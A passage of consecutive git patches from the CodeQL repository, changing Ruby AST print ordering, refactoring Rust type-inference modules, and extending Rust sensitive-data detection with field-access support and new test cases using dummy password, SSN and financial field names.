getStmt: [MethodCall] call to m # 111| getReceiver: [MethodCall] call to new # 111| getReceiver: [ConstantReadAccess] Sub From b95092ef1c8179386947202b6920e33de7796a55 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Nora=20Dimitrijevi=C4=87?= Date: Fri, 2 May 2025 12:33:21 -0400 Subject: [PATCH 085/535] Ruby printAst: order by start line and column before synth index This counteracts the movement of synth children away from the node from which they take their location, following the decision to take the index of synth children of real parents into account. --- ruby/ql/lib/codeql/ruby/printAst.qll | 4 ++-- ruby/ql/test/library-tests/ast/Ast.expected | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/ruby/ql/lib/codeql/ruby/printAst.qll b/ruby/ql/lib/codeql/ruby/printAst.qll index e87b9bc43ece..707fa20effde 100644 --- a/ruby/ql/lib/codeql/ruby/printAst.qll +++ b/ruby/ql/lib/codeql/ruby/printAst.qll @@ -142,8 +142,8 @@ class PrintRegularAstNode extends PrintAstNode, TPrintRegularAstNode { | p order by - f.getBaseName(), f.getAbsolutePath(), l.getStartLine(), p.getSynthAstNodeIndex(), - l.getStartColumn(), l.getEndLine(), l.getEndColumn() + f.getBaseName(), f.getAbsolutePath(), l.getStartLine(), l.getStartColumn(), + p.getSynthAstNodeIndex(), l.getEndLine(), l.getEndColumn() ) } diff --git a/ruby/ql/test/library-tests/ast/Ast.expected b/ruby/ql/test/library-tests/ast/Ast.expected index 5d8cefb01ab2..6263cb8919b5 100644 --- a/ruby/ql/test/library-tests/ast/Ast.expected +++ b/ruby/ql/test/library-tests/ast/Ast.expected @@ -915,8 +915,8 @@ control/cases.rb: # 56| getValue: [IntegerLiteral] 5 # 56| getKey: [SymbolLiteral] :b # 56| getComponent: [StringTextComponent] b -# 56| getRestVariableAccess: [LocalVariableAccess] map # 56| getValue: [LocalVariableAccess] b +# 56| getRestVariableAccess: [LocalVariableAccess] map # 57| getBranch: [InClause] in ... then ... # 57| getPattern: [HashPattern] { ..., ** } # 57| getKey: [SymbolLiteral] :a @@ -1006,8 +1006,8 @@ control/cases.rb: # 75| getValue: [IntegerLiteral] 5 # 75| getKey: [SymbolLiteral] :b # 75| getComponent: [StringTextComponent] b -# 75| getRestVariableAccess: [LocalVariableAccess] map # 75| getValue: [LocalVariableAccess] b +# 75| getRestVariableAccess: [LocalVariableAccess] map # 76| getBranch: [InClause] in ... then ... # 76| getPattern: [HashPattern] { ..., ** } # 76| getKey: [SymbolLiteral] :a @@ -1209,8 +1209,8 @@ control/cases.rb: # 141| getValue: [IntegerLiteral] 1 # 141| getKey: [SymbolLiteral] :a # 141| getComponent: [StringTextComponent] a -# 141| getRestVariableAccess: [LocalVariableAccess] rest # 141| getValue: [LocalVariableAccess] a +# 141| getRestVariableAccess: [LocalVariableAccess] rest # 142| getBranch: [InClause] in ... then ... # 142| getPattern: [HashPattern] { ..., ** } # 142| getClass: [ConstantReadAccess] Foo From 83a619a53287f9fb474515da7007d50db9acdec9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Nora=20Dimitrijevi=C4=87?= Date: Fri, 2 May 2025 12:59:17 -0400 Subject: [PATCH 086/535] Ruby printAst: order by line, synth index in synth parent, column, synth index in real parent This prevents a bunch of unrelated movements in AstDesugar.ql --- ruby/ql/lib/codeql/ruby/printAst.qll | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/ruby/ql/lib/codeql/ruby/printAst.qll b/ruby/ql/lib/codeql/ruby/printAst.qll index 707fa20effde..947f8de06ef2 100644 --- a/ruby/ql/lib/codeql/ruby/printAst.qll +++ b/ruby/ql/lib/codeql/ruby/printAst.qll @@ -134,6 +134,10 @@ class PrintRegularAstNode extends PrintAstNode, TPrintRegularAstNode { else result = 0 } + private int getSynthAstNodeIndexForSynthParent() { + if this.parentIsSynthesized() then result = this.getSynthAstNodeIndex() else result = 0 + } + override int getOrder() { this = rank[result](PrintRegularAstNode p, Location l, File f | @@ -142,8 +146,9 @@ class PrintRegularAstNode extends PrintAstNode, TPrintRegularAstNode { | p order by - f.getBaseName(), f.getAbsolutePath(), l.getStartLine(), l.getStartColumn(), - p.getSynthAstNodeIndex(), l.getEndLine(), l.getEndColumn() + f.getBaseName(), f.getAbsolutePath(), l.getStartLine(), + p.getSynthAstNodeIndexForSynthParent(), l.getStartColumn(), p.getSynthAstNodeIndex(), + l.getEndLine(), l.getEndColumn() ) } From e9d5515c3baeb8e7ac1d9178a219adca7c9a80d4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Nora=20Dimitrijevi=C4=87?= Date: Fri, 2 May 2025 15:32:31 -0400 Subject: [PATCH 087/535] Add change note --- .../lib/change-notes/2025-05-02-ruby-printast-order-fix.md | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md diff --git a/ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md b/ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md new file mode 100644 index 000000000000..b71b60c22b3d --- /dev/null +++ b/ruby/ql/lib/change-notes/2025-05-02-ruby-printast-order-fix.md @@ -0,0 +1,6 @@ +--- +category: fix +--- +### Bug Fixes + +* The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension. From 06cfa9a89cd63fbde5df3fdba735975ddd5aa2e3 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Mon, 5 May 2025 15:21:50 -0400 Subject: [PATCH 088/535] Rust: Address format fixes suggested in review --- .../codeql/rust/internal/TypeInference.qll | 10 +++- .../typeinference/internal/TypeInference.qll | 52 +++++++++++++------ 2 files changed, 46 insertions(+), 16 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 595a038884d7..8d7dffefd763 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -990,12 +990,20 @@ private module Cached { ) } - private module IsInstantiationOfInput implements IsInstantiationOfSig { + private module IsInstantiationOfInput implements IsInstantiationOfInputSig { + pragma[nomagic] predicate potentialInstantiationOf(ReceiverExpr receiver, TypeAbstraction impl, TypeMention sub) { methodCandidate(receiver.resolveTypeAt(TypePath::nil()), receiver.getField(), receiver.getNumberOfArgs(), impl) and sub = impl.(ImplTypeAbstraction).getSelfTy() } + + predicate relevantTypeMention(TypeMention sub) { + exists(TypeAbstraction impl | + methodCandidate(_, _, _, impl) and + sub = impl.(ImplTypeAbstraction).getSelfTy() + ) + } } bindingset[item, name] diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index 7e89671da544..5eabeb6c6f05 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -238,7 +238,7 @@ module Make1 Input1> { } /** A class that represents a type tree. */ - signature class TypeTreeSig { + private signature class TypeTreeSig { Type resolveTypeAt(TypePath path); /** Gets a textual representation of this type abstraction. */ @@ -357,21 +357,38 @@ module Make1 Input1> { result = tm.resolveTypeAt(TypePath::nil()) } - signature module IsInstantiationOfSig { + signature module IsInstantiationOfInputSig { /** * Holds if `abs` is a type abstraction under which `tm` occurs and if * `app` is potentially the result of applying the abstraction to type * some type argument. */ predicate potentialInstantiationOf(App app, TypeAbstraction abs, TypeMention tm); + + /** + * Holds if `constraint` might occur as the third argument of + * `potentialInstantiationOf`. Defaults to simply projecting the third + * argument of `potentialInstantiationOf`. + */ + default predicate relevantTypeMention(TypeMention tm) { potentialInstantiationOf(_, _, tm) } } - module IsInstantiationOf Input> { + /** + * Provides functionality for determining if a type is a possible + * instantiation of a type mention containing type parameters. + */ + module IsInstantiationOf Input> { private import Input /** Gets the `i`th path in `tm` per some arbitrary order. */ + pragma[nomagic] private TypePath getNthPath(TypeMention tm, int i) { - result = rank[i + 1](TypePath path | exists(tm.resolveTypeAt(path)) | path) + result = + rank[i + 1](TypePath path | + exists(tm.resolveTypeAt(path)) and relevantTypeMention(tm) + | + path + ) } /** @@ -389,6 +406,7 @@ module Make1 Input1> { ) } + pragma[nomagic] private predicate satisfiesConcreteTypesFromIndex( App app, TypeAbstraction abs, TypeMention tm, int i ) { @@ -398,7 +416,7 @@ module Make1 Input1> { if i = 0 then any() else satisfiesConcreteTypesFromIndex(app, abs, tm, i - 1) } - pragma[inline] + pragma[nomagic] private predicate satisfiesConcreteTypes(App app, TypeAbstraction abs, TypeMention tm) { satisfiesConcreteTypesFromIndex(app, abs, tm, max(int i | exists(getNthPath(tm, i)))) } @@ -417,18 +435,19 @@ module Make1 Input1> { * arbitrary order, if any. */ private TypePath getNthTypeParameterPath(TypeMention tm, TypeParameter tp, int i) { - result = rank[i + 1](TypePath path | tp = tm.resolveTypeAt(path) | path) + result = + rank[i + 1](TypePath path | tp = tm.resolveTypeAt(path) and relevantTypeMention(tm) | path) } + pragma[nomagic] private predicate typeParametersEqualFromIndex( - App app, TypeAbstraction abs, TypeMention tm, TypeParameter tp, int i + App app, TypeAbstraction abs, TypeMention tm, TypeParameter tp, Type t, int i ) { potentialInstantiationOf(app, abs, tm) and - exists(TypePath path, TypePath nextPath | + exists(TypePath path | path = getNthTypeParameterPath(tm, tp, i) and - nextPath = getNthTypeParameterPath(tm, tp, i - 1) and - app.resolveTypeAt(path) = app.resolveTypeAt(nextPath) and - if i = 1 then any() else typeParametersEqualFromIndex(app, abs, tm, tp, i - 1) + t = app.resolveTypeAt(path) and + if i = 0 then any() else typeParametersEqualFromIndex(app, abs, tm, tp, t, i - 1) ) } @@ -443,7 +462,7 @@ module Make1 Input1> { exists(int n | n = max(int i | exists(getNthTypeParameterPath(tm, tp, i))) | // If the largest index is 0, then there are no equalities to check as // the type parameter only occurs once. - if n = 0 then any() else typeParametersEqualFromIndex(app, abs, tm, tp, n) + if n = 0 then any() else typeParametersEqualFromIndex(app, abs, tm, tp, _, n) ) ) } @@ -488,7 +507,6 @@ module Make1 Input1> { * - `Pair` is _not_ an instantiation of `Pair` */ predicate isInstantiationOf(App app, TypeAbstraction abs, TypeMention tm) { - potentialInstantiationOf(app, abs, tm) and satisfiesConcreteTypes(app, abs, tm) and typeParametersHaveEqualInstantiation(app, abs, tm) } @@ -513,7 +531,7 @@ module Make1 Input1> { ) } - module IsInstantiationOfInput implements IsInstantiationOfSig { + module IsInstantiationOfInput implements IsInstantiationOfInputSig { pragma[nomagic] private predicate typeCondition(Type type, TypeAbstraction abs, TypeMention lhs) { conditionSatisfiesConstraint(abs, lhs, _) and type = resolveTypeMentionRoot(lhs) @@ -954,7 +972,7 @@ module Make1 Input1> { Location getLocation() { result = a.getLocation() } } - private module IsInstantiationOfInput implements IsInstantiationOfSig { + private module IsInstantiationOfInput implements IsInstantiationOfInputSig { predicate potentialInstantiationOf( RelevantAccess at, TypeAbstraction abs, TypeMention cond ) { @@ -965,6 +983,10 @@ module Make1 Input1> { countConstraintImplementations(type, constraint) > 1 ) } + + predicate relevantTypeMention(TypeMention constraint) { + rootTypesSatisfaction(_, _, _, constraint, _) + } } /** From 64371688d7fd70eddc0076806efb14bfe5a7e2c8 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 8 May 2025 10:16:09 -0400 Subject: [PATCH 089/535] Shared: Fix QLDoc to make QL4QL happy. --- .../codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll | 2 ++ 1 file changed, 2 insertions(+) diff --git a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll index 6623373b2816..331bcbc8b65d 100644 --- a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll +++ b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll @@ -344,6 +344,8 @@ module MakeModelGeneratorFactory< /** * Gets the summary model of `api`, if it follows the `fluent` programming pattern (returns `this`). + * + * The strings `input` and `output` represent the qualifier and the return value, respectively. */ private string captureQualifierFlow(DataFlowSummaryTargetApi api, string input, string output) { exists(ReturnNodeExt ret | From 87218cb6d70ef54d9639d2afaddb1abf1ae7cffe Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 8 May 2025 11:59:10 +0100 Subject: [PATCH 090/535] Rust: Test more examples of sensitive data. --- .../test/library-tests/sensitivedata/test.rs | 115 +++++++++++++++++- 1 file changed, 110 insertions(+), 5 deletions(-) diff --git a/rust/ql/test/library-tests/sensitivedata/test.rs b/rust/ql/test/library-tests/sensitivedata/test.rs index ff5496fb7361..f42c82edd8c7 100644 --- a/rust/ql/test/library-tests/sensitivedata/test.rs +++ b/rust/ql/test/library-tests/sensitivedata/test.rs @@ -10,6 +10,7 @@ struct MyStruct { password: String, password_file_path: String, password_enabled: String, + mfa: String, } impl MyStruct { @@ -22,8 +23,8 @@ fn get_password() -> String { get_string() } fn test_passwords( password: &str, pass_word: &str, passwd: &str, my_password: &str, password_str: &str, - pass_phrase: &str, passphrase: &str, passPhrase: &str, - auth_key: &str, authkey: &str, authKey: &str, authentication_key: &str, authenticationkey: &str, authenticationKey: &str, + pass_phrase: &str, passphrase: &str, passPhrase: &str, backup_code: &str, + auth_key: &str, authkey: &str, authKey: &str, authentication_key: &str, authenticationkey: &str, authenticationKey: &str, oauth: &str, harmless: &str, encrypted_password: &str, password_hash: &str, ms: &MyStruct ) { @@ -36,6 +37,7 @@ fn test_passwords( sink(pass_phrase); // $ sensitive=password sink(passphrase); // $ sensitive=password sink(passPhrase); // $ sensitive=password + sink(backup_code); // $ MISSING: sensitive=password sink(auth_key); // $ sensitive=password sink(authkey); // $ sensitive=password @@ -43,14 +45,19 @@ fn test_passwords( sink(authentication_key); // $ sensitive=password sink(authenticationkey); // $ sensitive=password sink(authenticationKey); // $ sensitive=password + sink(oauth); // $ MISSING: sensitive=password sink(ms); // $ MISSING: sensitive=password sink(ms.password.as_str()); // $ MISSING: sensitive=password + sink(ms.mfa.as_str()); // $ MISSING: sensitive=password sink(get_password()); // $ sensitive=password let password2 = get_string(); sink(password2); // $ sensitive=password + let qry = "password=abc"; + sink(qry); // $ MISSING: sensitive=password + // not passwords sink(harmless); sink(encrypted_password); @@ -115,32 +122,98 @@ fn test_credentials( sink(get_next_token()); } +struct MacAddr { + values: [u8;12], +} + +struct DeviceInfo { + api_key: String, + deviceApiToken: String, + finger_print: String, + ip_address: String, + macaddr12: [u8;12], + mac_addr: MacAddr, + networkMacAddress: String, +} + +impl DeviceInfo { + fn test_device_info(&self, other: &DeviceInfo) { + // private device info + sink(&self.api_key); // $ MISSING: sensitive=id + sink(&other.api_key); // $ MISSING: sensitive=id + sink(&self.deviceApiToken); // $ MISSING: sensitive=id + sink(&self.finger_print); // $ MISSING: sensitive=id + sink(&self.ip_address); // $ MISSING: sensitive=id + sink(self.macaddr12); // $ MISSING: sensitive=id + sink(&self.mac_addr); // $ MISSING: sensitive=id + sink(self.mac_addr.values); // $ MISSING: sensitive=id + sink(self.mac_addr.values[0]); // $ MISSING: sensitive=id + sink(&self.networkMacAddress); // $ MISSING: sensitive=id + } +} + struct Financials { harmless: String, my_bank_account_number: String, credit_card_no: String, credit_rating: i32, - user_ccn: String + user_ccn: String, + cvv: String, + beneficiary: String, + routing_number: u64, + routingNumberText: String, + iban: String, + iBAN: String, +} + +enum Gender { + Male, + Female, +} + +struct SSN { + data: u128, +} + +impl SSN { + fn get_data(&self) -> u128 { + return self.data; + } } struct MyPrivateInfo { mobile_phone_num: String, contact_email: String, contact_e_mail_2: String, + emergency_contact: String, my_ssn: String, + ssn: SSN, birthday: String, - emergency_contact: String, name_of_employer: String, + gender: Gender, + genderString: String, + + patient_id: u64, + linkedPatientId: u64, + patient_record: String, medical_notes: Vec, + confidentialMessage: String, + latitude: f64, longitude: Option, financials: Financials } +enum ContactDetails { + HomePhoneNumber(String), + MobileNumber(String), + Email(String), +} + fn test_private_info( - info: &MyPrivateInfo + info: &MyPrivateInfo, details: &ContactDetails, ) { // private info sink(info.mobile_phone_num.as_str()); // $ MISSING: sensitive=private @@ -148,15 +221,33 @@ fn test_private_info( sink(info.contact_email.as_str()); // $ MISSING: sensitive=private sink(info.contact_e_mail_2.as_str()); // $ MISSING: sensitive=private sink(info.my_ssn.as_str()); // $ MISSING: sensitive=private + sink(&info.ssn); // $ MISSING: sensitive=private + sink(info.ssn.data); // $ MISSING: sensitive=private + sink(info.ssn.get_data()); // $ MISSING: sensitive=private sink(info.birthday.as_str()); // $ MISSING: sensitive=private sink(info.emergency_contact.as_str()); // $ MISSING: sensitive=private sink(info.name_of_employer.as_str()); // $ MISSING: sensitive=private + sink(&info.gender); // $ MISSING: sensitive=private + sink(info.genderString.as_str()); // $ MISSING: sensitive=private + let sex = "Male"; + let gender = Gender::Female; + let a = Gender::Female; + sink(sex); // $ MISSING: sensitive=private + sink(gender); // $ MISSING: sensitive=private + sink(a); // $ MISSING: sensitive=private + + sink(info.patient_id); // $ MISSING: sensitive=private + sink(info.linkedPatientId); // $ MISSING: sensitive=private + sink(info.patient_record.as_str()); // $ MISSING: sensitive=private + sink(info.patient_record.trim()); // $ MISSING: sensitive=private sink(&info.medical_notes); // $ MISSING: sensitive=private sink(info.medical_notes[0].as_str()); // $ MISSING: sensitive=private for n in info.medical_notes.iter() { sink(n.as_str()); // $ MISSING: sensitive=private } + sink(info.confidentialMessage.as_str()); // $ MISSING: sensitive=private + sink(info.confidentialMessage.to_lowercase()); // $ MISSING: sensitive=private sink(info.latitude); // $ MISSING: sensitive=private let x = info.longitude.unwrap(); @@ -166,7 +257,21 @@ fn test_private_info( sink(info.financials.credit_card_no.as_str()); // $ MISSING: sensitive=private sink(info.financials.credit_rating); // $ MISSING: sensitive=private sink(info.financials.user_ccn.as_str()); // $ MISSING: sensitive=private + sink(info.financials.cvv.as_str()); // $ MISSING: sensitive=private + sink(info.financials.beneficiary.as_str()); // $ MISSING: sensitive=private + sink(info.financials.routing_number); // $ MISSING: sensitive=private + sink(info.financials.routingNumberText.as_str()); // $ MISSING: sensitive=private + sink(info.financials.iban.as_str()); // $ MISSING: sensitive=private + sink(info.financials.iBAN.as_str()); // $ MISSING: sensitive=private + + sink(ContactDetails::HomePhoneNumber("123".to_string())); // $ MISSING: sensitive=private + sink(ContactDetails::MobileNumber("123".to_string())); // $ MISSING: sensitive=private + sink(ContactDetails::Email("a@b".to_string())); // $ MISSING: sensitive=private + if let ContactDetails::MobileNumber(num) = details { + sink(num.as_str()); // $ MISSING: sensitive=private + } // not private info + sink(info.financials.harmless.as_str()); } From 8825eefea6afe25f046016cbda2751112eb8cef0 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 8 May 2025 16:00:46 +0100 Subject: [PATCH 091/535] Rust: More counterexamples for sensitive data as well. --- .../test/library-tests/sensitivedata/test.rs | 43 ++++++++++++++++++- 1 file changed, 41 insertions(+), 2 deletions(-) diff --git a/rust/ql/test/library-tests/sensitivedata/test.rs b/rust/ql/test/library-tests/sensitivedata/test.rs index f42c82edd8c7..4718a2b451e3 100644 --- a/rust/ql/test/library-tests/sensitivedata/test.rs +++ b/rust/ql/test/library-tests/sensitivedata/test.rs @@ -11,6 +11,7 @@ struct MyStruct { password_file_path: String, password_enabled: String, mfa: String, + numfailed: String, } impl MyStruct { @@ -25,10 +26,11 @@ fn test_passwords( password: &str, pass_word: &str, passwd: &str, my_password: &str, password_str: &str, pass_phrase: &str, passphrase: &str, passPhrase: &str, backup_code: &str, auth_key: &str, authkey: &str, authKey: &str, authentication_key: &str, authenticationkey: &str, authenticationKey: &str, oauth: &str, - harmless: &str, encrypted_password: &str, password_hash: &str, + harmless: &str, encrypted_password: &str, password_hash: &str, passwordFile: &str, ms: &MyStruct ) { // passwords + sink(password); // $ sensitive=password sink(pass_word); // $ MISSING: sensitive=password sink(passwd); // $ sensitive=password @@ -59,13 +61,16 @@ fn test_passwords( sink(qry); // $ MISSING: sensitive=password // not passwords + sink(harmless); sink(encrypted_password); sink(password_hash); + sink(passwordFile); // $ SPURIOUS: sensitive=password sink(ms.harmless.as_str()); sink(ms.password_file_path.as_str()); sink(ms.password_enabled.as_str()); + sink(ms.numfailed.as_str()); sink(get_string()); let harmless2 = get_string(); @@ -82,10 +87,11 @@ fn get_next_token() -> String { get_string() } fn test_credentials( account_key: &str, accnt_key: &str, license_key: &str, secret_key: &str, is_secret: bool, num_accounts: i64, username: String, user_name: String, userid: i64, user_id: i64, my_user_id_64: i64, unique_id: i64, uid: i64, - sessionkey: &[u64; 4], session_key: &[u64; 4], hashkey: &[u64; 4], hash_key: &[u64; 4], + sessionkey: &[u64; 4], session_key: &[u64; 4], hashkey: &[u64; 4], hash_key: &[u64; 4], sessionkeypath: &[u64; 4], account_key_path: &[u64; 4], ms: &MyStruct ) { // credentials + sink(account_key); // $ sensitive=id sink(accnt_key); // $ sensitive=id sink(license_key); // $ MISSING: sensitive=secret @@ -108,12 +114,15 @@ fn test_credentials( sink(get_secret_token()); // $ sensitive=secret // not (necessarily) credentials + sink(is_secret); sink(num_accounts); // $ SPURIOUS: sensitive=id sink(unique_id); sink(uid); // $ SPURIOUS: sensitive=id sink(hashkey); sink(hash_key); + sink(sessionkeypath); // $ SPURIOUS: sensitive=id + sink(account_key_path); // $ SPURIOUS: sensitive=id sink(ms.get_certificate_url()); // $ SPURIOUS: sensitive=certificate sink(ms.get_certificate_file()); // $ SPURIOUS: sensitive=certificate @@ -134,11 +143,17 @@ struct DeviceInfo { macaddr12: [u8;12], mac_addr: MacAddr, networkMacAddress: String, + + // not private device info + macro_value: bool, + mac_command: u32, + skip_address: String, } impl DeviceInfo { fn test_device_info(&self, other: &DeviceInfo) { // private device info + sink(&self.api_key); // $ MISSING: sensitive=id sink(&other.api_key); // $ MISSING: sensitive=id sink(&self.deviceApiToken); // $ MISSING: sensitive=id @@ -149,6 +164,12 @@ impl DeviceInfo { sink(self.mac_addr.values); // $ MISSING: sensitive=id sink(self.mac_addr.values[0]); // $ MISSING: sensitive=id sink(&self.networkMacAddress); // $ MISSING: sensitive=id + + // not private device info + + sink(self.macro_value); + sink(self.mac_command); + sink(&self.skip_address); } } @@ -164,6 +185,12 @@ struct Financials { routingNumberText: String, iban: String, iBAN: String, + + num_accounts: i32, + total_accounts: i32, + accounting: i32, + unaccounted: bool, + multiband: bool, } enum Gender { @@ -210,12 +237,14 @@ enum ContactDetails { HomePhoneNumber(String), MobileNumber(String), Email(String), + FavouriteColor(String), } fn test_private_info( info: &MyPrivateInfo, details: &ContactDetails, ) { // private info + sink(info.mobile_phone_num.as_str()); // $ MISSING: sensitive=private sink(info.mobile_phone_num.to_string()); // $ MISSING: sensitive=private sink(info.contact_email.as_str()); // $ MISSING: sensitive=private @@ -273,5 +302,15 @@ fn test_private_info( // not private info + let modulesEx = 1; + sink(modulesEx); + sink(info.financials.harmless.as_str()); + sink(info.financials.num_accounts); + sink(info.financials.total_accounts); + sink(info.financials.accounting); + sink(info.financials.unaccounted); + sink(info.financials.multiband); + + sink(ContactDetails::FavouriteColor("blue".to_string())); } From a537197691fba15f07676187151f2d6bd63b1da7 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 9 May 2025 10:39:53 +0100 Subject: [PATCH 092/535] Rust: Understand sensitive field access expressions. --- .../codeql/rust/security/SensitiveData.qll | 19 ++++++++- .../test/library-tests/sensitivedata/test.rs | 42 +++++++++---------- 2 files changed, 39 insertions(+), 22 deletions(-) diff --git a/rust/ql/lib/codeql/rust/security/SensitiveData.qll b/rust/ql/lib/codeql/rust/security/SensitiveData.qll index 5a5f5a6dec03..698fa83197d5 100644 --- a/rust/ql/lib/codeql/rust/security/SensitiveData.qll +++ b/rust/ql/lib/codeql/rust/security/SensitiveData.qll @@ -67,7 +67,7 @@ private class SensitiveDataVariable extends Variable { } /** - * A variable access data flow node that might produce sensitive data. + * A variable access data flow node that might be sensitive data. */ private class SensitiveVariableAccess extends SensitiveData { SensitiveDataClassification classification; @@ -84,3 +84,20 @@ private class SensitiveVariableAccess extends SensitiveData { override SensitiveDataClassification getClassification() { result = classification } } + +/** + * A field access data flow node that might be sensitive data. + */ +private class SensitiveFieldAccess extends SensitiveData { + SensitiveDataClassification classification; + + SensitiveFieldAccess() { + HeuristicNames::nameIndicatesSensitiveData(this.asExpr() + .getAstNode() + .(FieldExpr) + .getIdentifier() + .getText(), classification) + } + + override SensitiveDataClassification getClassification() { result = classification } +} diff --git a/rust/ql/test/library-tests/sensitivedata/test.rs b/rust/ql/test/library-tests/sensitivedata/test.rs index 4718a2b451e3..42fb2f0693ba 100644 --- a/rust/ql/test/library-tests/sensitivedata/test.rs +++ b/rust/ql/test/library-tests/sensitivedata/test.rs @@ -50,7 +50,7 @@ fn test_passwords( sink(oauth); // $ MISSING: sensitive=password sink(ms); // $ MISSING: sensitive=password - sink(ms.password.as_str()); // $ MISSING: sensitive=password + sink(ms.password.as_str()); // $ sensitive=password sink(ms.mfa.as_str()); // $ MISSING: sensitive=password sink(get_password()); // $ sensitive=password @@ -68,8 +68,8 @@ fn test_passwords( sink(passwordFile); // $ SPURIOUS: sensitive=password sink(ms.harmless.as_str()); - sink(ms.password_file_path.as_str()); - sink(ms.password_enabled.as_str()); + sink(ms.password_file_path.as_str()); // $ SPURIOUS: sensitive=password + sink(ms.password_enabled.as_str()); // $ SPURIOUS: sensitive=password sink(ms.numfailed.as_str()); sink(get_string()); @@ -245,17 +245,17 @@ fn test_private_info( ) { // private info - sink(info.mobile_phone_num.as_str()); // $ MISSING: sensitive=private - sink(info.mobile_phone_num.to_string()); // $ MISSING: sensitive=private + sink(info.mobile_phone_num.as_str()); // $ sensitive=private + sink(info.mobile_phone_num.to_string()); // $ sensitive=private sink(info.contact_email.as_str()); // $ MISSING: sensitive=private sink(info.contact_e_mail_2.as_str()); // $ MISSING: sensitive=private - sink(info.my_ssn.as_str()); // $ MISSING: sensitive=private - sink(&info.ssn); // $ MISSING: sensitive=private + sink(info.my_ssn.as_str()); // $ sensitive=private + sink(&info.ssn); // $ sensitive=private sink(info.ssn.data); // $ MISSING: sensitive=private sink(info.ssn.get_data()); // $ MISSING: sensitive=private - sink(info.birthday.as_str()); // $ MISSING: sensitive=private - sink(info.emergency_contact.as_str()); // $ MISSING: sensitive=private - sink(info.name_of_employer.as_str()); // $ MISSING: sensitive=private + sink(info.birthday.as_str()); // $ sensitive=private + sink(info.emergency_contact.as_str()); // $ sensitive=private + sink(info.name_of_employer.as_str()); // $ sensitive=private sink(&info.gender); // $ MISSING: sensitive=private sink(info.genderString.as_str()); // $ MISSING: sensitive=private @@ -270,22 +270,22 @@ fn test_private_info( sink(info.linkedPatientId); // $ MISSING: sensitive=private sink(info.patient_record.as_str()); // $ MISSING: sensitive=private sink(info.patient_record.trim()); // $ MISSING: sensitive=private - sink(&info.medical_notes); // $ MISSING: sensitive=private - sink(info.medical_notes[0].as_str()); // $ MISSING: sensitive=private + sink(&info.medical_notes); // $ sensitive=private + sink(info.medical_notes[0].as_str()); // $ sensitive=private for n in info.medical_notes.iter() { sink(n.as_str()); // $ MISSING: sensitive=private } sink(info.confidentialMessage.as_str()); // $ MISSING: sensitive=private sink(info.confidentialMessage.to_lowercase()); // $ MISSING: sensitive=private - sink(info.latitude); // $ MISSING: sensitive=private + sink(info.latitude); // $ sensitive=private let x = info.longitude.unwrap(); sink(x); // $ MISSING: sensitive=private - sink(info.financials.my_bank_account_number.as_str()); // $ MISSING: sensitive=private - sink(info.financials.credit_card_no.as_str()); // $ MISSING: sensitive=private - sink(info.financials.credit_rating); // $ MISSING: sensitive=private - sink(info.financials.user_ccn.as_str()); // $ MISSING: sensitive=private + sink(info.financials.my_bank_account_number.as_str()); // $ sensitive=private SPURIOUS: sensitive=id + sink(info.financials.credit_card_no.as_str()); // $ sensitive=private + sink(info.financials.credit_rating); // $ sensitive=private + sink(info.financials.user_ccn.as_str()); // $ sensitive=private sink(info.financials.cvv.as_str()); // $ MISSING: sensitive=private sink(info.financials.beneficiary.as_str()); // $ MISSING: sensitive=private sink(info.financials.routing_number); // $ MISSING: sensitive=private @@ -306,10 +306,10 @@ fn test_private_info( sink(modulesEx); sink(info.financials.harmless.as_str()); - sink(info.financials.num_accounts); - sink(info.financials.total_accounts); - sink(info.financials.accounting); - sink(info.financials.unaccounted); + sink(info.financials.num_accounts); // $ SPURIOUS: sensitive=id + sink(info.financials.total_accounts); // $ SPURIOUS: sensitive=id + sink(info.financials.accounting); // $ SPURIOUS: sensitive=id + sink(info.financials.unaccounted); // $ SPURIOUS: sensitive=id sink(info.financials.multiband); sink(ContactDetails::FavouriteColor("blue".to_string())); From 0f36e1d625cbd6e57f8c6060327ff76cc8331bff Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 9 May 2025 11:26:23 +0100 Subject: [PATCH 093/535] Rust: Understand sensitive qualifier expressions. --- rust/ql/lib/codeql/rust/security/SensitiveData.qll | 8 +++----- rust/ql/test/library-tests/sensitivedata/test.rs | 8 ++++---- 2 files changed, 7 insertions(+), 9 deletions(-) diff --git a/rust/ql/lib/codeql/rust/security/SensitiveData.qll b/rust/ql/lib/codeql/rust/security/SensitiveData.qll index 698fa83197d5..5a384feabc24 100644 